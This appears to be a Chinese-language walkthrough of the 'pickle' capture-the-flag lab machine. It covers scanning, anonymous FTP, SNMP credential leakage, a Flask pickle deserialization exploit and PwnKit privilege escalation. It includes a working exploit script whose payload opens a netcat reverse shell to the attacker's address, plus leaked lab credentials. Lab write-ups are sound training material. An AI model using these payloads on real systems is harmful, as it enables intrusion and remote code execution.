33.pickle

1. 基本信息^toc

2. 信息收集


┌──(root㉿kali)-[~]
└─# fscan -h 192.168.80.7 -p 1-65535

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
192.168.80.7:21 open
192.168.80.7:1337 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://192.168.80.7:1337  code:401 len:90     title:None
[+] ftp 192.168.80.7:21:anonymous
   [->]init.py.bak
已完成 2/2
[*] 扫描结束,耗时: 1.329781452s

3. ftp


┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# ftp 192.168.80.7
Connected to 192.168.80.7.
220 (vsFTPd 3.0.3)
Name (192.168.80.7:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||7642|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Oct 12  2020 .
drwxr-xr-x    2 0        0            4096 Oct 12  2020 ..
-rwxr-xr-x    1 0        0            1306 Oct 12  2020 init.py.bak
226 Directory send OK.
ftp> get init.py.bak
local: init.py.bak remote: init.py.bak
229 Entering Extended Passive Mode (|||31068|)
150 Opening BINARY mode data connection for init.py.bak (1306 bytes).
100% |************************************************************|  1306      116.72 KiB/s    00:00 ETA
226 Transfer complete.
1306 bytes received in 00:00 (113.68 KiB/s)
ftp> exit
221 Goodbye.

┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# ls
init.py.bak

init.py

from functools import wraps
from flask import *
import hashlib
import socket
import base64
import pickle
import hmac

app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")

@app.route('/', methods=["GET", "POST"])
def index_page():
        '''
                __index_page__()
        '''
        if request.method == "POST" and request.form["story"] and request.form["submit"]:
                md5_encode = hashlib.md5(request.form["story"]).hexdigest()
                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)
                write_page = open(paths_page, "w")
                write_page.write(request.form["story"])

                return "The message was sent successfully!"

        return render_template("index.html")

@app.route('/reset', methods=["GET", "POST"])
def reset_page():
        '''
                __reset_page__()
        '''
        pass


@app.route('/checklist', methods=["GET", "POST"])
def check_page():
        '''
                __check_page__()
        '''
        if request.method == "POST" and request.form["check"]:
                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])
                open_page    = open(path_page, "rb").read()
                if "p1" in open_page:
                        open_page = pickle.loads(open_page)
                        return str(open_page)
                else:
                        return open_page
        else:
                return "Server Error!"

        return render_template("checklist.html")

if __name__ == '__main__':
        app.run(host='0.0.0.0', port=1337, debug=True)

看一下网页


Gpt分析
585

主要漏洞就是在 //checklist 路由上
提交的文件内容可以被我们控制
反序列化p1的内容也可以被我们控制

4. SNMP服务利用

我们目前访问不了这个路由。因为有验证
这时候可以尝试一下扫描udp协议

┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# nmap -sU 192.168.80.7 --top-ports 20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-30 22:25 CST
Nmap scan report for 192.168.80.7
Host is up (0.00024s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
123/udp   open|filtered ntp
135/udp   closed        msrpc
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   open          snmp
162/udp   closed        snmptrap
445/udp   open|filtered microsoft-ds
500/udp   closed        isakmp
514/udp   closed        syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  closed        ms-sql-m
1900/udp  closed        upnp
4500/udp  closed        nat-t-ike
49152/udp open|filtered unknown
MAC Address: 08:00:27:8B:9A:A4 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 8.04 seconds

可以发现 snmp服务 是开放的
snmp的相关信息可以在这里查看


snmp的利用可以通过暴力破解社区字符串(community string),其中最常见的社区字符串是 public

4.1. snmpbulkwalk 获取数据

┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# snmpbulkwalk -c public -v2c 192.168.80.7 .
Created directory: /var/lib/snmp/cert_indexes
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pickle 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (415838) 1:09:18.38
iso.3.6.1.2.1.1.4.0 = STRING: "lucas:SuperSecretPassword123!"
iso.3.6.1.2.1.1.5.0 = STRING: "pickle"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.1.8.0 = Timeticks: (5) 0:00:00.05
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49

里面可以看到一个像是账号密码的东西
lucas:SuperSecretPassword123!

尝试一下 发现确实是账号密码
利用账号密码成功通过认证

5. Pickle反序列化

/ 路由下 发送反序列化的payload
然后在 /checklist 路由下post传参 check 值为我们payload的md5

import pickle, os, base64
	class P(object):
		def __reduce__(self):
			return (os.system,("nc -e /bin/bash 192.168.80.5 1234 ",))
print(pickle.dumps(P()))
Warning

这里必须用Python2生成payload

┌──(root㉿kali)-[/home/kali/hmv/pickle]
└─# python2 payload.py
cposix
system
p0
(S'nc -e /bin/bash 192.168.80.5 1234 '
p1
tp2
Rp3
.

这里有一个bug。就是它接收你的payload后生成的md5与你自己计算的md5不同
原因应该是系统的问题
这里我们使用它给的md5计算方法计算md5
如果我们要获取正确的md5 选择转为unix即可 然后再计算即可

#coding:utf-8
import os
import cPickle
import hashlib
import requests


class CommandExecute(object):
        def __reduce__(self):
                return (os.system, ('nc 192.168.80.5 1234 -e /bin/bash',))

convert_data = cPickle.dumps(CommandExecute())
convert_crypt = hashlib.md5(convert_data).hexdigest()
print("md5:"+convert_crypt)
print("convert_data:"+convert_data)
send_requests = requests.post('http://192.168.80.7:1337/', data={"story":convert_data, "submit":"Submit+Query"}, auth=("lucas", "SuperSecretPassword123!"))
check_requests = requests.post('http://192.168.80.7:1337/checklist', data={"check":convert_crypt}, auth=("lucas", "SuperSecretPassword123!"))
print(check_requests.text)

监听 1234 端口获取shell

curl -u 'lucas:SuperSecretPassword123!' --basic http://192.168.80.7:1337/checklist -X POST --data 'check=f387dc63759af1e92868d3556f63ed9e'

6. PwnKit提权

使用LZS 进行检测

wget https://codeload.github.com/berdav/CVE-2021-4034/zip/main
unzip main
cd CVE-2021-4034-main
make
./cve-2021-4034
e25fd1b9248d1786551e3412adc74f6f
7a32c9739cc63ed983ae01af2577c01c

最后看一下完整的 project.py

app = Flask(__name__, template_folder="templates", static_folder="/opt/project/static/")

def check_auth(username, password):
       """This function is called to check if a username /
       password combination is valid.
       """
       return username == 'lucas' and password == 'SuperSecretPassword123!'

def authenticate():
       """Sends a 401 response that enables basic auth"""
       return Response(
       'Could not verify your access level for that URL.\n'
       'You have to login with proper credentials', 401,
       {'WWW-Authenticate': 'Basic realm="Pickle login"'})

def requires_auth(f):
       @wraps(f)
       def decorated(*args, **kwargs):
           auth = request.authorization
           if not auth or not check_auth(auth.username, auth.password):
               return authenticate()
           return f(*args, **kwargs)
       return decorated

@app.route('/', methods=["GET", "POST"])
@requires_auth
def index_page():
        '''
                __index_page__()
        '''
        if request.method == "POST" and request.form["story"] and request.form["submit"]:
                md5_encode = hashlib.md5(request.form["story"]).hexdigest()
                paths_page  = "/opt/project/uploads/%s.log" %(md5_encode)
                write_page = open(paths_page, "w")
                write_page.write(request.form["story"])

                return "The message was sent successfully!"

        return render_template("index.html")

@app.route('/reset', methods=["GET", "POST"])
@requires_auth
def reset_page():
        '''
                __reset_page__()
        '''
        if request.method == "POST" and request.form["username"] and request.form["key"]:
                key    = "dpff43f3p214k31301"
                raw    = request.form["username"] + key + socket.gethostbyname(socket.gethostname())
                hashed = hmac.new(key, raw, hashlib.sha1)
                if request.form["key"] == hashed.hexdigest():
                        return base64.b64encode(hashed.digest().encode("base64").rstrip("\n"))
        else:
                return "Server Error!"
        return render_template("reset.html")


@app.route('/checklist', methods=["GET", "POST"])
@requires_auth
def check_page():
        '''
                __check_page__()
        '''
        if request.method == "POST" and request.form["check"]:
                path_page    = "/opt/project/uploads/%s.log" %(request.form["check"])
                open_page    = open(path_page, "rb").read()
                if "p1" in open_page:
                        open_page = pickle.loads(open_page)
                        return str(open_page)
                else:
                        return open_page
        else:
                return "Server Error!"

        return render_template("checklist.html")

@app.route('/console')
@requires_auth
def secret_page():
        return "Server Error!"

if __name__ == '__main__':
        app.run(host='0.0.0.0', port=1337, debug=True)